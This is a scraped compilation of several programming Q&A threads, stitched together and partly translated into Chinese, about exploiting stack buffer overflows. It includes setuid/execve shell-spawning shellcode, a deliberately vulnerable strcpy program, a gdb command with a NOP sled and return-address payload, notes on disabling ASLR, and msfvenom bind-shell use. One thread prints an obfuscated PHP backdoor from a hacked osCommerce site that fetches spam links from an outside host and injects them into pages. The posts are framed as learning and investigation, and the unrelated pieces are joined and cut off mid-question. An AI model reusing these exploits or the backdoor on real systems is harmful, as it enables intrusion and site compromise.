这是一个利用缓冲区溢出漏洞的shellcode.它使用设置setuid(0)和生成shell execve().以下是我解释它的方式:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
Run Code Online (Sandbox Code Playgroud)
谁能清楚地解释整个步骤?
我正在寻找被某人/某事利用过的网站.该网站有一大堆链接注入其页脚,链接到制药摊位,谁知道还有什么.页脚顶部有很多链接.我现在只能在Yahoo索引的缓存页面上找到它们.谷歌仍然不喜欢该网站,并且现场网站不再显示任何链接.这是给客户的.所以我大部分都知道我被告知了什么,以及我能找到的其他明智之处.
我在footer.php(它是一个OsCommerse站点)的'tip/top'找到了这段代码:
<?php $x13="cou\156\x74"; $x14="\x65\x72\162\x6fr\x5f\x72ep\157\162\164ing"; $x15="\146\151l\x65"; $x16="\146i\154\145_g\x65t\x5f\x63\x6fn\164\145n\164s"; $x17="\163\x74rle\156"; $x18="\163tr\160o\x73"; $x19="su\x62\x73\164\162"; $x1a="tr\151m";
ini_set(' display_errors','off');$x14(0);$x0b = "\150t\x74p\x3a\057\057\x67\145n\x73h\157\x70\056org/\163\x63\162ipt\057\155a\163k\x2e\x74x\x74";$x0c = $x0b; $x0d = $_SERVER["\x52E\115O\124\105_A\104\104\122"]; $x0e = @ $x15($x0c); for ( $x0f = 0; $x0f < $x13($x0e); $x0f++ ) {$x10 = $x1a($x0e[$x0f]);if ( $x10 != "" ){ if ( ($x11 = $x18($x10, "*")) !== false ) $x10 = $x19($x10, 0,$x11); if ( $x17($x10) <= $x17($x0d) && $x18($x0d, $x10) === 0 ) { $x12 =$x16("\150\164\164\160\x3a/\057g\145\x6e\x73\x68o\160\056o\162\x67\057\160aral\x69\x6e\x6b\x73\x2f\156e\167\x2f3\057\x66\145e\144\x72\157lle\x72\x2e\143\x6f\x6d\x2e\x74\170\x74"); echo "$x12"; } }}echo "\x3c\041\055\x2d \060\x36\071\x63\x35b4\x66e5\060\062\067\146\x39\x62\0637\x64\x653\x31d2be5\145\141\143\066\x37\040\x2d-\076";?>
Run Code Online (Sandbox Code Playgroud)
当我查看具有"Bad"链接的源缓存页面时,此代码适合我在footer.php源中找到它的位置.对谷歌的一点研究表明,有类似代码的漏洞.
您如何看待,当我在自己的服务器上运行时,我得到的只是源中的回显注释,如下所示:
<!-- 069c5b4fe5027f9b37de31d2be5eac67 --> …Run Code Online (Sandbox Code Playgroud) 我试图学习在Backtrack Linux上利用简单的缓冲区流技术.
这是我的C程序
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[500];
if(argc==2)
{
strcpy(buffer, argv[1]); //vulnerable function
}
return 0;
}
Run Code Online (Sandbox Code Playgroud)
这是我正在使用的shellcode,它对应于简单的/bin/ls
\ x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\X01\XC6\X04\X24\X2F\X89\XE6\X50\X56\XB0\X0B\X89\XF3\X89\XE1\X31\XD2\XCD\X80\XB0\X01\X31\XDB\XCD\X80
我使用以下命令在gdb中注入此shellcode
run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')
Run Code Online (Sandbox Code Playgroud)
当我逐步完成应用程序时,它会SIG FAULT在最终ret指令上生成.此时EIP正确设置为0xffffd30c.这个地址是可寻址的,包含一系列的NOP,后跟我的shell代码,如有效负载中所示.
我已经禁用了ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
并使用fno-stack-protector选项编译我的二进制文件.
知道SIGSEGV的原因是什么?
我想利用基于堆栈的缓冲区溢出来进行教育.
有一个典型的函数,使用main中的参数调用,该函数作为程序的输入提供给保存参数的本地缓冲区.如果有这样的输入nops+shellcode+address_shellcode,我会利用它.
在使用gdb调试之后,我找到了shell代码的地址,因为它将作为参数传递,并且在strcpy我检查堆栈之后,$ebp+8哪个是返回地址已成功用shell代码的地址覆盖.所以我有我想要的东西.但是当我向前推进执行时,我得到了:
->shellcode_address in ?? ()
Run Code Online (Sandbox Code Playgroud)
然后
Cannot find bound of current function
Run Code Online (Sandbox Code Playgroud)
返回地址具有我想要的值.有什么想法发生了什么?
此外,当我执行它时,我遇到了分段错误,我已经编译了它-g -fno-stack-protector.为什么?
我希望能够将单行ASM转换为shellcode.IE:
CALL EBX
Run Code Online (Sandbox Code Playgroud)
我该怎么做,并且能够正确转换这个shellcode,以便我可以将它存储在delphi应用程序的变量中.IE:
var ShellCodeArray: array[0..3] of Byte = ($55,$8B,$EC,$81);
Run Code Online (Sandbox Code Playgroud) 好吧,我写了一个生成 shell 的 ASM 文件。
但是,.text 部分变为“只读”,因此我将所有内容都保留在 .data 部分中。当我用 NASM 和 ld 编译它时,它工作得很好。然后,当我使用 shellcode 并在 C 程序中运行它时,我会出现错误。
ASM:
SECTION .data
global _start
_start:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 70d
int 80h
jmp jump
rev:
pop ebx
xor eax, eax
mov BYTE [ebx+7], al
mov DWORD [ebx+8], ebx
mov DWORD [ebx+12], eax
mov al, 11d
lea ecx, [ebx+8]
lea edx, [ebx+12]
int 80h
jump:
call rev
shell: db "/bin/sh011112222"
Run Code Online (Sandbox Code Playgroud)
当我编译它时:
nasm -f …Run Code Online (Sandbox Code Playgroud) 在shellcode教程中,我看到了以下示例:
main(){
exit(0);
}
Run Code Online (Sandbox Code Playgroud)
想法是创建一个exit() - 系统调用.那么,他们生产组件:
Section .text
global _start
_start:
mov ebx, 0
mov eax, 1
int 0x80
Run Code Online (Sandbox Code Playgroud)
我理解这一点.0是我们存储在ebx中的exit()的参数,1是退出系统调用的编号,使用0x80我们将CPU更改为内核模式并执行系统调用.
之后,他们让我们生成以下代码:
bb 00 00 00 00
b8 01 00 00 00
cd 80
Run Code Online (Sandbox Code Playgroud)
然后,他们将其翻译成C语言,看起来像:
char example[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80"
int main(){
int *pointer;
pointer = (int *)&pointer+2;
(*pointer) = (int)example;
}
Run Code Online (Sandbox Code Playgroud)
所以,我理解的是他们将操作码放在char数组中,但我不明白他们在main()中做了什么 - 方法.第一行还可以.但他们想用第2和第3行表达什么?
最好的祝福,
我必须填写以下参数:
int execve(const char *filename, char *const argv[], char *const envp[]);
Run Code Online (Sandbox Code Playgroud)
如果我执行这个程序:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
Run Code Online (Sandbox Code Playgroud)
shell 按预期正确生成。
我的问题是,如果我传递 NULL 作为第二个参数,shell 也会正确生成:
#include <unistd.h>
int main() {
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], NULL, NULL);
}
Run Code Online (Sandbox Code Playgroud)
那么使用 args 向量(带有“/bin/sh”+ NULL)作为第二个参数而不是 NULL 的目的是什么?
我想使用像gdb下命令那样的功能。
$ cat arg.txt | xargs ./binary
Run Code Online (Sandbox Code Playgroud)
有什么办法可以做到吗?
试图了解更多有关利用开发和构建 shellcode 的信息,但遇到了一个我不明白背后原因的问题。
为什么我无法运行 execve("/bin/sh") 等 shellcode 并生成可以与之交互的 shell?另一方面,我可以创建一个反向/bind_tcp shell 并使用 netcat 连接到它。
示例程序:
// gcc vuln.c -o vuln -m32 -fno-stack-protector -z execstack
#include <stdio.h>
#include <string.h>
void test() {
char pass[50];
printf("Password: ");
gets(pass);
if (strcmp(pass, "epicpassw0rd") == 0) {
printf("Woho, you got it!\n");
}
}
int main() {
test();
__asm__("movl $0xe4ffd4ff, %edx"); // jmp esp, call esp - POC
return(0);
}
Run Code Online (Sandbox Code Playgroud)
漏洞利用示例:
python -c "print 'A'*62 + '\x35\x56\x55\x56' + 'PAYLOAD'" | ./vuln
Run Code Online (Sandbox Code Playgroud)
示例有效负载(工作):
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 LHOST="0.0.0.0" …Run Code Online (Sandbox Code Playgroud)